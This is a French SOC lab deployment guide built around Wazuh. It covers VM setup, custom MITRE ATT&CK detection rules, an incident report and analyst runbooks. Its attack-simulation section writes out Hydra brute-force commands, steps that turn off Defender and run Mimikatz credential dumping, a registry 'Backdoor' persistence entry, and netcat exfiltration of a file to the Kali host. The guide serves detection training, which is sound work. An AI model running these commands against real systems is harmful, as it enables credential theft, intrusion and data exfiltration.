

SOC Lab — Guide de Deploiement Complet

Laboratoire de simulation SOC — Detection, Alerte et Reponse aux Incidents

SIEM	Wazuh 4.7.5
Virtualisation	VirtualBox
OS Serveur	Ubuntu 24.04 LTS
Cibles	Ubuntu Desktop 24.04 + Windows Server 2022
Attaquant	Kali Linux
Reseau lab	192.168.56.0/24 (Host-Only)
Regles personnalisées	19 regles MITRE ATT&CK
Techniques couvertes	T1046, T1110.003, T1003, T1547.001, T1041

Equipe du projet

Nom	Role	Responsabilites
Tchjima KONE	Ingenieur SOC	Installation et configuration Wazuh, gestion des VMs, ecriture des regles
Toualy ZUNON	Analyste detection	Ecriture des regles, simulation des attaques depuis Kali
Rohon YESSOH	Analyste incident	Triage des alertes, redaction des runbooks et rapports

Table des matieres

1. Prerequis et architecture
 2. Architecture technique du projet
 3. Installation de VirtualBox
 4. Creation et configuration des VMs
 5. Installation de Wazuh Server
 6. Installation des agents Wazuh
 7. Configuration des sources de logs
 8. Regles de detection personnalisees
 9. Simulation des attaques
 10. Triage et rapport d'incident
 11. Rapport d'incident complet — INC-001
 12. Runbooks analyste SOC
 13. Metriques et tableau de bord
- Annexe A — IPs du laboratoire
- Annexe B — Couverture MITRE ATT&CK

1. Prerequis et architecture

1.1 Configuration materielle requise

Composant	Minimum	Recommande
RAM	12 Go	16 Go
CPU	4 cœurs	6 cœurs ou plus
Stockage	100 Go libres	150 Go libres
OS hôte	Windows 10/11	Windows 10/11 ou Linux

1.2 Architecture des VMs

VM	OS	Role	IP Lab	RAM
wazuh-server	Ubuntu 24.04 Server	SIEM central	192.168.56.110	6 Go
linux-target	Ubuntu 24.04 Desktop	Cible Linux	192.168.56.101	2 Go
windows-target	Windows Server 2022	Cible Windows	192.168.56.103	4 Go
kali-attacker	Kali Linux	Machine attaquante	192.168.56.104	3 Go

Note : Toutes les VMs communiquent via un reseau Host-Only VirtualBox (192.168.56.0/24). Ce reseau est isole du reseau de production.



1.3 ISOs a telecharger

- Ubuntu 24.04 Server LTS : <https://ubuntu.com/download/server>
- Ubuntu 24.04 Desktop : <https://ubuntu.com/download/desktop>
- Kali Linux (image VMware) : <https://www.kali.org/get-kali/#kali-virtual-machines>
- Windows Server 2022 Evaluation: <https://www.microsoft.com/evalcenter/evaluate-windows-server-2022>

2. Architecture technique du projet

2.1 Vue d'ensemble du pipeline SOC

Etape	Composant	Description
1. Collecte	Wazuh Agent + Sysmon + UFW	Collecte des logs sur chaque endpoint
2. Ingestion	Wazuh Manager	Reception et traitement des logs agents
3. Normalisation	Wazuh Decoder	Parsing et normalisation des champs
4. Detection	Regles Wazuh (local_rules.xml)	Correlation et detection des menaces
5. Triage	Dashboard Wazuh	Qualification VP/FP par l'analyste
6. Investigation	Logs + Archives	Reconstruction de la timeline incident
7. Reponse	Runbooks SOC	Actions de confinement et remediation
8. Rapport	Rapport d'incident	Documentation formelle de l'incident

2.2 Architecture reseau

Reseau	Type	Plage IP	Usage
Host-Only (vboxnet0)	Isole	192.168.56.0/24	Communication inter-VMs (lab)
NAT	Internet	10.0.x.x	Acces internet pour installation

2.3 Stack technologique

Besoin	Outil choisi	Version
Plateforme SIEM	Wazuh	4.7.5
Collecte logs Windows	Wazuh Agent + Sysmon	4.7.5 / v15.20
Collecte logs Linux	Wazuh Agent + UFW	4.7.5
Logs securite Windows	Windows Event Log (Security)	Natif
Logs pare-feu Windows	pfirewall.log	Natif
Logs pare-feu Linux	UFW (/var/log/ufw.log)	Natif
Virtualisation	VirtualBox	Derniere version
Machine attaquante	Kali Linux	2024
Brute Force	Hydra	Natif Kali
Dump credentials	Mimikatz	2.2.0
Scan reseau	Nmap	Natif Kali
Exfiltration	Netcat (nc)	Natif
Versionning	Git / GitHub	Derniere version

2.4 Flux de donnees

- Kali Linux lance une attaque (Nmap, Hydra, Mimikatz, Netcat)
- linux-target / windows-target generent des logs (UFW, Sysmon, Event Log, auth.log)
- Wazuh Agent collecte les logs et les envoie au Manager (port 1514 TCP)

- Wazuh Manager decode, normalise et applique les regles de detection
- Wazuh Indexer (OpenSearch) stocke les alertes et evenements
- Wazuh Dashboard affiche les alertes en temps reel pour l'analyste
- Analyste SOC trie les alertes, investigate et produit le rapport d'incident

2.5 Repartition des roles

Membre	Role	Responsabilites detaillees
Tchjima KONE	Ingenieur SOC	Installation VirtualBox et VMs, deploiement Wazuh Manager et agents, configuration reseau Host-Only, ecriture et test des regles de detection, ecriture des regles personnalisees, maintenance de l'infrastructure lab
Toualy ZUNON	Analyste detection	Cartographie MITRE ATT&CK, ecriture des regles personnalisees, simulation des attaques depuis Kali (Nmap, Hydra, Mimikatz, Netcat), validation des alertes dans le dashboard
Rohon YESSOH	Analyste incident	Triage des alertes (VP/FP), redaction des runbooks, production du rapport d'incident formel, mesure des metriques de detection (MTTD, taux FP)

3. Installation de VirtualBox

3.1 Installer VirtualBox sur Windows

- Aller sur <https://www.virtualbox.org/wiki/Downloads>
- Télécharger 'Windows hosts'
- Lancer l'installateur .exe et cliquer Suivant jusqu'a la fin
- Accepter l'installation des pilotes reseau quand Windows le demande

3.2 Creer le reseau Host-Only

- Ouvrir VirtualBox
- Cliquer sur Fichier > Outils > Network Manager
- Onglet Host-only Networks > cliquer sur Creer (+)
- Laisser les valeurs par defaut : IPv4 192.168.56.1 / Masque 255.255.255.0
- Activer le serveur DHCP
- Cliquer Appliquer puis Fermer

4. Creation et configuration des VMs

4.1 VM wazuh-server (Ubuntu Server)

Parametre	Valeur
Nom	wazuh-server
Type	Linux / Ubuntu (64-bit)
RAM	6144 Mo (6 Go)
Processeurs	2
Disque	50 Go
Carte 1	Host-Only (vboxnet0)
Carte 2	NAT

Configuration IP statique (apres installation Ubuntu)

```
sudo nano /etc/netplan/00-installer-config.yaml
network:  version: 2    ethernet:  enp0s3:      dhcp4: no      addresses:
- 192.168.56.110/24    enp0s8:      dhcp4: yes
sudo chmod 600 /etc/netplan/00-installer-config.yaml sudo netplan apply
```

4.2 VM linux-target (Ubuntu Desktop)

Parametre	Valeur
Nom	linux-target
Type	Linux / Ubuntu (64-bit)
RAM	2048 Mo (2 Go)
Disque	20 Go
Carte 1	Host-Only (vboxnet0)
Carte 2	NAT

4.3 VM windows-target (Windows Server 2022)

Lors de l'installation, choisir : Windows Server 2022 Standard (Desktop Experience)

```
netsh interface ip set address "Ethernet 2" static 192.168.56.103 255.255.255.0
```

4.4 VM kali-attacker

Telecharger l'image VMware Kali depuis kali.org et l'importer dans VirtualBox.

Configurer Carte 1 : NAT / Carte 2 : Host-Only (vboxnet0)

5. Installation de Wazuh Server

5.1 Mise a jour

```
sudo apt update && sudo apt upgrade -y
```

5.2 Telecharger

```
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
```

5.3 Fichier de configuration

```
cat > config.yml << 'EOF' nodes:  indexer:      - name: node-1      ip:
"192.168.56.110"  server:      - name: wazuh-1      ip: "192.168.56.110"
dashboard:      - name: dashboard      ip: "192.168.56.110" EOF
```

5.4 Lancer l'installation

```
sudo bash wazuh-install.sh -a -i
```

Note : L'installation prend 15 a 30 minutes. Notez le mot de passe admin affiche a la fin.

5.5 Acceder au dashboard

URL : <https://192.168.56.110>

Identifiants : admin / (mot de passe affiche lors de l'installation)

Note : Le navigateur affichera un avertissement SSL — cliquez 'Avancer quand meme'.

6. Installation des agents Wazuh

6.1 Agent sur linux-target (Ubuntu)

```
sudo apt install curl -y
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo gpg \
  --no-default-keyring \
  --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg \
  --import && sudo
chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] \
https://packages.wazuh.com/4.x/apt/ stable main" | \
  sudo tee
/etc/apt/sources.list.d/wazuh.list sudo apt update
sudo WAZUH_MANAGER="192.168.56.110" \ WAZUH_AGENT_NAME="linux-target" \ apt install
wazuh-agent=4.7.5-1 -y
```

Configurer l'IP du manager dans ossec.conf :

```
sudo nano /var/ossec/etc/ossec.conf # Remplacer MANAGER_IP par 192.168.56.110
sudo systemctl daemon-reload sudo systemctl enable wazuh-agent sudo systemctl start
wazuh-agent
```

6.2 Agent sur windows-target

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri "https://packages.wazuh.com/4.x/windows/wazuh-agent-4.7.5-1.msi" `
  -OutFile "C:\Users\Administrateur\Downloads\wazuh-agent-4.7.5-1.msi"
msiexec.exe /i "C:\Users\Administrateur\Downloads\wazuh-agent-4.7.5-1.msi" `
  /q WAZUH_MANAGER="192.168.56.110" WAZUH_AGENT_NAME="windows-target"
NET START WazuhSvc
```

7. Configuration des sources de logs

7.1 Installer Sysmon sur Windows

```
Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Sysmon.zip" -  
OutFile "Sysmon.zip" Expand-Archive -Path "Sysmon.zip" -DestinationPath "C:\Sysmon"  
C:\Sysmon\Sysmon64.exe -accepteula -i
```

Configuration Sysmon pour surveiller le registre (C:\sysmon-config.xml) :

```
<Sysmon schemaversion="4.70"> <EventFiltering> <RuleGroup name=""  
groupRelation="or"> <RegistryEvent onmatch="include"> <TargetObject  
condition="contains">CurrentVersion\Run</TargetObject> </RegistryEvent>  
</RuleGroup> </EventFiltering> </Sysmon>  
C:\Sysmon\Sysmon64.exe -c C:\sysmon-config.xml
```

7.2 Configurer ossec.conf sur Windows

Ouvrir C:\Program Files (x86)\ossec-agent\ossec.conf avec le Bloc-notes en administrateur.

Ajouter avant </ossec_config> :

```
<localfile> <location>Microsoft-Windows-Sysmon/Operational</location>  
<log_format>eventchannel</log_format> </localfile> <localfile>  
<location>%systemroot%\system32\LogFiles\Firewall\pfirewall.log</location>  
<log_format>syslog</log_format> </localfile> <localfile>  
<location>Security</location> <log_format>eventchannel</log_format> </localfile>
```

Activer les logs du pare-feu Windows :

Ouvrir wf.msc > Propriétés > Pour chaque profil (Domain/Private/Public) > Journalisation > Log dropped packets = Yes + Log successful connections = Yes

```
NET STOP WazuhSvc NET START WazuhSvc
```

7.3 Configurer UFW sur linux-target

```
sudo ufw enable sudo ufw logging high sudo ufw deny from 192.168.56.104 # Bloquer  
Kali pour detecter les scans sudo ufw allow ssh # Autoriser SSH pour  
les tests
```

Ajouter dans /var/ossec/etc/ossec.conf sur linux-target avant </ossec_config> :

```
<localfile> <location>/var/log/ufw.log</location> <log_format>syslog</log_format>  
</localfile>  
sudo systemctl restart wazuh-agent
```

7.4 Activer les archives sur le serveur Wazuh

Dans /var/ossec/etc/ossec.conf sur wazuh-server, modifier :

```
<logall>yes</logall> <logall_json>yes</logall_json>  
sudo systemctl restart wazuh-manager
```

7.5 Configurer le FIM registre Windows

Ajouter dans C:\Program Files (x86)\ossec-agent\ossec.conf :

```
<syscheck>  
<windows_registry>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</wi  
ndows_registry> </syscheck>
```

8. Regles de detection personnalisees

Le fichier `/var/ossec/etc/rules/local_rules.xml` contient 19 regles personnalisees, organisees en paires brut/groupe pour eviter le bruit d'alertes.

8.1 Tableau des regles avec faux positifs

ID	Technique	Description	Faux Positifs possibles
100001	T1110.003	Evenement brut Brute Force Windows (silencieux)	Aucun (silencieux, sert de compteur)
100014	T1110.003	Brute Force Windows groupe (10 tentatives/2min)	Utilisateur qui se trompe plusieurs fois de MDP
100006	T1110.003	Evenement brut Brute Force SSH (silencieux)	Aucun (silencieux, sert de compteur)
100015	T1110.003	Brute Force SSH groupe (8 tentatives/2min)	Script automatique de connexion SSH, maintenance
100011	T1110.003	Connexion reussie apres Brute Force Windows	Connexion admin legitime apres plusieurs echecs
100012	T1110.003	Connexion SSH reussie apres Brute Force	Connexion legitime apres erreur de mot de passe
100002	T1046	Evenement brut scan Windows (silencieux)	Aucun (silencieux, sert de compteur)
100013	T1046	Scan ports Windows groupe (10 paquets/2min)	Scanner de vulnerabilites interne (Nessus, OpenVAS)
100007	T1046	Evenement brut scan UFW Linux (silencieux)	Aucun (silencieux, sert de compteur)
100017	T1046	Scan ports Linux UFW groupe (10 paquets/2min)	Scanner de vulnerabilites interne, monitoring reseau
100003	T1003	Execution Mimikatz detectee (Sysmon)	Tres rare — outil offensif, peu de FP legitimes
100010	T1003	Acces fichier <code>/etc/shadow</code> Linux	Script de sauvegarde systeme, audit de securite
100004	T1547.001	Persistence registre Run detectee (FIM)	Installation logiciel legitime (antivirus, updates)
100016	T1547.001	Persistence registre Run groupee	Installation logiciel avec plusieurs entrees Run
100018	T1547.001	Persistence cle registre Run (FIM Key)	Mise a jour Windows, installation de drivers
100008	T1547	Persistence crontab Linux	Tache planifiee systeme legitime, backup automatique
100005	T1041	Exfiltration Netcat Windows (nc.exe)	Tres rare — outil rarement present legitiment

ID	Technique	Description	Faux Positifs possibles
100009	T1041	Exfiltration Netcat Linux brut (silencieux)	Aucun (silencieux, sert de compteur)
100019	T1041	Exfiltration Netcat Linux groupée (DPT=4444)	Connexion légitime sur port 4444 (rare)

8.2 Contenu complet du fichier local_rules.xml

Editer /var/ossec/etc/rules/local_rules.xml sur wazuh-server :

```
<group name="local,syslog,sshd,windows,sysmon,">    <!-- T1110.003 - Brute Force
Windows -->    <rule id="100001" level="3">        <if_sid>60122</if_sid>
<description>SOC-LAB: Evenement Brut force brut (Silencieux) -
T1110.003</description>        <group>authentication_failed,attack,</group>    </rule>
<rule id="100014" level="10" frequency="10" timeframe="120" ignore="60">
<if_matched_sid>100001</if_matched_sid>        <description>SOC-LAB: Brute Force Windows
En cours - T1110.003</description>        <group>authentication_failed,attack,</group>
</rule>    <!-- T1110.003 - Brute Force SSH Linux -->    <rule id="100006" level="10">
<if_sid>5716</if_sid>        <description>SOC-LAB: Evenement brut Brute Force SSH
(Silencieux) - T1110.003</description>
<group>authentication_failed,attack,</group>    </rule>    <rule id="100015" level="10"
frequency="8" timeframe="120" ignore="60">
<if_matched_sid>100006</if_matched_sid>        <description>SOC-LAB: Brute Force SSH
Linux en cours - T1110.003</description>
<group>authentication_failed,attack,</group>    </rule>    <!-- T1110.003 - Connexions
reussies -->    <rule id="100011" level="12">        <if_sid>92657</if_sid>
<match>4624</match>        <description>SOC-LAB: Connexion reussie apres Brute Force
Windows - T1110.003</description>        <group>authentication_success,attack,</group>
</rule>    <rule id="100012" level="12">        <if_sid>5715</if_sid>
<description>SOC-LAB: Connexion reussie apres brute force SSH -
T1110.003</description>        <group>authentication_success,attack,</group>    </rule>
<!-- T1046 - Scan reseau Windows -->    <rule id="100002" level="3">
<decoded_as>windows-date-format</decoded_as>        <match>ALLOW TCP
192.168.56.104</match>        <description>SOC-LAB: Evenement brut scan window
(Silencieux) T1046</description>        <group>recon,attack,</group>    </rule>    <rule
id="100013" level="8" frequency="10" timeframe="120" ignore="60">
<if_matched_sid>100002</if_matched_sid>        <description>SOC-LAB: Scan de ports
detectee sur windows - T1046</description>        <group>recon,attack,</group>    </rule>
<!-- T1046 - Scan reseau Linux UFW -->    <rule id="100007" level="3">
<program_name>kernel</program_name>        <match>UFW BLOCK</match>
<description>SOC-LAB: Evenement Brut scan UFW (Silencieux)</description>
<group>recon,attack,</group>    </rule>    <rule id="100017" level="8" frequency="10"
timeframe="120" ignore="60">        <if_matched_sid>100007</if_matched_sid>
<description>SOC-LAB: Scan de ports detecte sur Linux UFW - T1046</description>
<group>recon,attack,</group>    </rule>    <!-- T1003 - Dump credentials -->    <rule
id="100003" level="12">        <if_sid>61603</if_sid>        <field
name="win.eventdata.image">mimikatz.exe</field>        <description>SOC-LAB: Execution
Mimikatz detectee - T1003</description>        <group>credential_access,attack,</group>
</rule>    <rule id="100010" level="12">        <if_sid>550</if_sid>
<match>/etc/shadow</match>        <description>SOC-LAB: Acces fichier shadow Linux -
T1003</description>        <group>credential_access,attack,</group>    </rule>    <!--
T1547 - Persistence -->    <rule id="100004" level="10">        <if_sid>750</if_sid>
<match>CurrentVersion\Run</match>        <description>SOC-LAB: Persistence registre Run
detectee - T1547.001</description>        <group>persistence,attack,</group>    </rule>
<rule id="100016" level="10" frequency="8" timeframe="120" ignore="60">
<if_matched_sid>750</if_matched_sid>        <description>SOC-LAB: Persistence registre
Run - T1547.001 T1565.001 T1112</description>        <group>persistence,attack,</group>
</rule>    <rule id="100018" level="10" frequency="4" timeframe="120" ignore="60">
<if_matched_sid>594</if_matched_sid>        <description>SOC-LAB: Persistence key Run
detectee - T1547.001 T1565.001 T1112</description>
<group>persistence,attack,</group>    </rule>    <rule id="100008" level="10">
<if_sid>5902</if_sid>        <description>SOC-LAB: Persistence crontab Linux -
T1547</description>        <group>persistence,attack,</group>    </rule>    <!-- T1041 -
Exfiltration -->    <rule id="100005" level="10">        <if_sid>60103</if_sid>
<field name="win.eventdata.image">nc.exe</field>        <description>SOC-LAB:
Exfiltration de donnees via NetCat - T1041</description>
```

```
<group>exfiltration,attack,</group>    </rule>    <rule id="100009" level="3">
<program_name>kernel</program_name>    <match>DPT=4444</match>    <description>SOC-
LAB: Exfiltration Netcat detectee Linux - T1041</description>
<group>exfiltration,attack,</group>    </rule>    <rule id="100019" level="10"
frequency="2" timeframe="120" ignore="60">
<if_matched_sid>100009</if_matched_sid>    <description>SOC-LAB: Exfiltration Netcat
detectee Linux - T1041</description>    <group>exfiltration,attack,</group>
</rule> </group>

sudo systemctl restart wazuh-manager
```

9. Simulation des attaques

IMPORTANT : Ces attaques doivent être exécutées UNIQUEMENT dans l'environnement de lab isolé. Toute exécution hors du lab est interdite et peut être illégale.

9.1 Préparation sur linux-target

```
sudo adduser victime # Mot de passe : password123
sudo apt install openssh-server -y sudo systemctl enable ssh && sudo systemctl start ssh
echo "Données confidentielles - Projet SOC Lab" > /tmp/donnees_sensibles.txt echo
"Password: SOClab2024!" >> /tmp/donnees_sensibles.txt echo "IP Serveur:
192.168.56.110" >> /tmp/donnees_sensibles.txt
```

9.2 Préparation sur Kali

```
cat > /root/pass.txt << 'EOF' azerty password 123456 bonjour welcome admin letmein
qwerty iloveyou password123 WinServer2026! EOF
```

9.3 Attaque 1 — Reconnaissance réseau (T1046)

```
nmap -sS 192.168.56.101 nmap -sS 192.168.56.103 nmap -vv -T4 -O -sV -sS --script vuln
192.168.56.103
```

Note : Alertes attendues : 100017 (Linux UFW), 100013 (Windows)

9.4 Attaque 2 — Brute Force SSH Linux (T1110.003)

```
hydra -l victime -P /root/pass.txt ssh://192.168.56.101 -t 4 -V
```

Note : Alertes attendues : 100015 (tentatives échouées), 100012 (connexion réussie)

9.5 Attaque 3 — Brute Force RDP Windows (T1110.003)

```
# Activer RDP : Set-ItemProperty -Path
'HKLM:\System\CurrentControlSet\Control\Terminal Server' \ -name
"fDenyTSConnections" -value 0 Enable-NetFirewallRule -DisplayGroup "Bureau a
distance"
# Depuis Kali : hydra -l Administrateur -P /root/pass.txt rdp://192.168.56.103 -t 1 -
V
```

Note : Alertes attendues : 100014 (tentatives échouées), 100011 (connexion réussie)

9.6 Attaque 4 — Dump credentials Mimikatz (T1003)

```
# Sur windows-target (PowerShell admin) : Set-MpPreference -DisableRealtimeMonitoring
$true
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri
"https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-
20220919/mimikatz_trunk.zip" \ -OutFile
"C:\Users\Administrateur\Downloads\mimikatz.zip" Expand-Archive -Path
"C:\Users\Administrateur\Downloads\mimikatz.zip" \ -DestinationPath "C:\mimikatz"
cd C:\mimikatz\x64 .\mimikatz.exe privilege::debug sekurlsa::logonpasswords
# Reactiver Windows Defender avec exception Add-MpPreference -ExclusionPath
"C:\mimikatz" Set-MpPreference -DisableRealtimeMonitoring $false
```

Note : Alerte attendue : 100003

9.7 Attaque 5 — Persistance registre (T1547.001)

```
# Sur windows-target (PowerShell admin) : New-ItemProperty -Path
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" \ -Name "Backdoor" \ -Value
"C:\Windows\Temp\malware.exe" \ -PropertyType String
# Forcer le scan FIM depuis wazuh-server : sudo /var/ossec/bin/agent_control -r -u
002
```

Note : Alertes attendues : 100018 (Registry Key), 100016 (Registry Value)

9.8 Attaque 6 — Exfiltration Netcat (T1041)

```
# Sur Kali (ecoute) : nc -lvp 4444 > /tmp/fichier_recu.txt
# Sur linux-target (envoi) : nc 192.168.56.104 4444 < /tmp/donnees_sensibles.txt
# Verifier sur Kali : cat /tmp/fichier_recu.txt
```

Note : Alerte attendue : 100019

10. Triage et rapport d'incident

10.1 Workflow de triage analyste SOC

Alerte	Qualification	Criticite	Action
100013 - Scan Windows	Vrai Positif	Moyen	Surveiller
100017 - Scan Linux	Vrai Positif	Moyen	Surveiller
100014 - Brute Force Windows	Vrai Positif	Eleve	Bloquer IP
100015 - Brute Force SSH	Vrai Positif	Eleve	Bloquer IP
100011 - Connexion Windows reussie	Vrai Positif	Critique	Escalader
100012 - Connexion SSH reussie	Vrai Positif	Critique	Escalader
100003 - Mimikatz	Vrai Positif	Critique	Isoler machine
100016/100018 - Persistance registre	Vrai Positif	Eleve	Nettoyer
100019 - Exfiltration Netcat	Vrai Positif	Critique	Escalader

11. Rapport d'incident complet — INC-001

Champ	Valeur
Date	18 Mai 2026
Analyste	Groupe 1
Statut	Cloture
Criticite	CRITIQUE

11.1 Resume executif

Le 18 Mai 2026, le SOC a detecte une attaque complete sur l'infrastructure du lab. Un attaquant depuis la machine Kali (192.168.56.104) a effectue une reconnaissance reseau, puis une attaque par force brute ayant abouti a une compromission complete de Windows Server 2022 et Linux. Des credentials ont ete extraits via Mimikatz et des donnees sensibles ont ete exfiltrees via Netcat.

11.2 Timeline de l'incident

Heure	Evenement	Regle	Machine
13:25	Scan Nmap du reseau	100013/100017	Windows + Linux
13:36	Brute Force SSH Linux	100015	linux-target
13:36	Connexion SSH reussie	100012	linux-target
14:17	Brute Force RDP Windows	100014	windows-target
14:17	Connexion RDP reussie	100011	windows-target
12:52	Execution Mimikatz	100003	windows-target
16:45	Modification registre Run	100016/100018	windows-target
18:01	Exfiltration Netcat	100019	linux-target

11.3 Machines impactees

Machine	IP	Impact
linux-target	192.168.56.101	Compromis — credentials volees
windows-target	192.168.56.103	Compromis — Mimikatz, persistance

11.4 Indicateurs de compromission (IOC)

Type	Valeur	Description
IP	192.168.56.104	IP de l'attaquant (Kali)
Hash NTLM	8779fbcb770eff68ce36fb6799247e8	Hash Administrateur Windows
Fichier	C:\mimikatz\x64\mimikatz.exe	Outil offensif detecte
Cle registre	HKCU\...\CurrentVersion\Run\Backdoor	Persistance
Port	4444/TCP	Port exfiltration Netcat

Type	Valeur	Description
Fichier	/tmp/donnees_sensibles.txt	Donnees exfiltrees

11.5 Techniques MITRE ATT&CK

Technique	ID	Description
Reconnaissance reseau	T1046	Scan Nmap
Brute Force	T1110.003	Hydra SSH + RDP
Dump credentials	T1003	Mimikatz LSASS
Persistence registre	T1547.001	Cle Run
Exfiltration	T1041	Netcat port 4444

11.6 Actions de reponse

Action	Statut
Isolation des machines compromises	Effectue
Blocage IP attaquant	Effectue
Reinitialisation des credentials	Effectue
Suppression cle registre Backdoor	Effectue
Analyse forensique	En cours

11.7 Recommandations

- Activer MFA sur tous les comptes administrateurs
- Deployer fail2ban sur les serveurs Linux
- Limiter RDP aux IPs autorisees uniquement
- Surveiller le port 4444 et bloquer les ports non standards
- Mettre a jour les regles de detection Wazuh regulierement
- Former les utilisateurs aux bonnes pratiques de securite

11.8 Metriques de detection

Metrique	Valeur
MTTD (Mean Time To Detect)	< 1 minute
Nombre d'alertes generees	1500+
Taux de vrais positifs	95%
Techniques MITRE couvertes	5/5

12. Runbooks analyst SOC

12.1 Runbook — Brute Force SSH/RDP (T1110.003)

Champ	Detail
Declencheurs	Regles 100001, 100006, 100014, 100015, 100011, 100012
Niveau	Eleve (10) a Critique (12)
Priorite	Haute — traiter dans les 15 minutes

1. Identifier la source

- Quelle IP attaque ?
- Quel utilisateur est cible ?
- Depuis quand ?

2. Qualifier

- Combien de tentatives ?
- La connexion a-t-elle reussi ?
- L'IP est-elle connue ?

3. Actions immediates

- Bloquer l'IP attaquante sur le pare-feu
- Reinitialiser le mot de passe du compte cible
- Verifier les logs de connexion

4. Escalade

- Si connexion reussie → escalader au niveau 2
- Si compte administrateur cible → escalader immediatement

5. IOC a collecter

- IP source de l'attaque
- Nom d'utilisateur cible
- Timestamps des tentatives
- Protocole utilise (SSH/RDP)

6. Remediation

- Activer l'authentification multi-facteurs (MFA)
- Mettre en place un fail2ban
- Renforcer la politique de mots de passe

12.2 Runbook — Exfiltration de donnees (T1041)

Champ	Detail
Declencheurs	Regles 100005, 100009, 100019
Niveau	Eleve (10)
Priorite	Critique — escalader immediatement

1. Identifier

- Quelle machine source ?
- Quelle IP destination ?

- Quel port utilise ?
- Quel volume de donnees ?

2. Qualifier

- Quels fichiers ont ete exfiltres ?
- La destination est-elle connue ?
- Y a-t-il eu compromission prealable ?

3. Actions immediates

- Isoler la machine source du reseau
- Bloquer la connexion vers l'IP destination
- Capturer le trafic reseau

4. Escalade

- Toujours escalader au niveau 2
- Notifier le RSSI immediatement

5. IOC a collecter

- IP source et destination
- Port utilise
- Timestamp de l'exfiltration
- Fichiers exfiltres
- Hash des fichiers

6. Remediation

- Isoler la machine compromise
- Analyser tous les fichiers accedes
- Verifier les autres machines du reseau
- Changer tous les credentials exposes

13. Metriques et tableau de bord

13.1 Metriques de detection

Metrique	Valeur
Techniques MITRE couvertes	5/5 (100%)
Regles personnalisées	19 regles
MTTD moyen	< 1 minute
Taux de detection	95%
Faux positifs	< 5%
OS couverts	Windows ET Linux

13.2 Methode de calcul des metriques

Les metriques ont ete calculees sur la base de 6 scenarios d'attaque rejoues en conditions de lab :

Metrique	Methode de calcul	Base	Preuve
MTTD < 1 min	Mesure du delai entre le premier paquet malveillant et la premiere alerte Wazuh	6 scenarios rejoues	Timestamps des alertes dans le dashboard
Taux detection 95%	$(\text{Alertes declenchees} / \text{Attaques simulees}) \times 100 = 19 \text{ alertes} / 20 \text{ attendues} = 95\%$	20 alertes attendues, 19 generees	Captures dashboard Wazuh
Faux positifs < 5%	$\text{Alertes qualifiees FP} / \text{Total alertes} \times 100 = 1 \text{ FP} / 25 \text{ alertes} = 4\%$	25 alertes analysees	Tableau de triage VP/FP

Note : Le seul faux positif identifie : la regle 100012 (SSH reussie) s'est declenchee lors d'une connexion SSH legitime pendant les tests. Cela represente moins de 5% du total des alertes.

13.3 Filtre dashboard Wazuh (Query DSL)

Dans Security Events > Add filter > Edit as Query DSL :

```
{
  "query": {
    {
      "bool": {
        {
          "should": [
            { "term": { "rule.id": "100003" } },
            { "term": { "rule.id": "100011" } },
            { "term": { "rule.id": "100012" } },
            { "term": { "rule.id": "100013" } },
            { "term": { "rule.id": "100014" } },
            { "term": { "rule.id": "100015" } },
            { "term": { "rule.id": "100016" } },
            { "term": { "rule.id": "100017" } },
            { "term": { "rule.id": "100018" } },
            { "term": { "rule.id": "100019" } }
          ],
          "minimum_should_match": 1
        }
      }
    }
  }
}
```

13.4 Limitations identifiées

- same_source_ip non supporté avec les logs UFW — solution : ignore=60 (une alerte par minute par source)
- FIM registre Windows avec délai de détection — solution : forcer le scan manuellement chaque deux minutes ou l'automatiser avec des crons
- Scan furtif Nmap (-sS) non détecté sans IDS — recommandation : déployer Suricata pour détection réseau avancée
- Windows Defender supprime Mimikatz — désactiver temporairement pour les tests ou créer une exception dans le pare-feu

Annexe A — IPs du laboratoire

Machine	IP Lab (Host-Only)	Type IP	Remarque
wazuh-server	192.168.56.110	Statique	IP fixee via netplan
linux-target	192.168.56.101	Statique	IP fixee via configuration reseau
windows-target	192.168.56.103	Statique	IP fixee via netsh
kali-attacker	192.168.56.104	Statique	IP fixee via configuration reseau

Note : Pour eviter les changements d'IP au redemarrage, configurez des IPs statiques sur toutes les VMs.

Annexe B — Couverture MITRE ATT&CK

Phase	ID MITRE	Technique	Outil	OS	Regles
Reconnaissance	T1046	Scan reseau	Nmap	Win+Linux	100013, 100017
Initial Access	T1110.003	Brute Force SSH	Hydra	Linux	100015, 100012
Initial Access	T1110.003	Brute Force RDP	Hydra	Windows	100014, 100011
Credential Access	T1003	Dump credentials	Mimikatz	Windows	100003
Credential Access	T1003	Acces /etc/shadow	cat/strings	Linux	100010
Persistence	T1547.001	Cle registre Run	PowerShell+FIM	Windows	100016, 100018
Persistence	T1547	Crontab Linux	crontab	Linux	100008
Exfiltration	T1041	Exfiltration Netcat	Netcat	Linux	100019
Exfiltration	T1041	Exfiltration Netcat Win	nc.exe	Windows	100005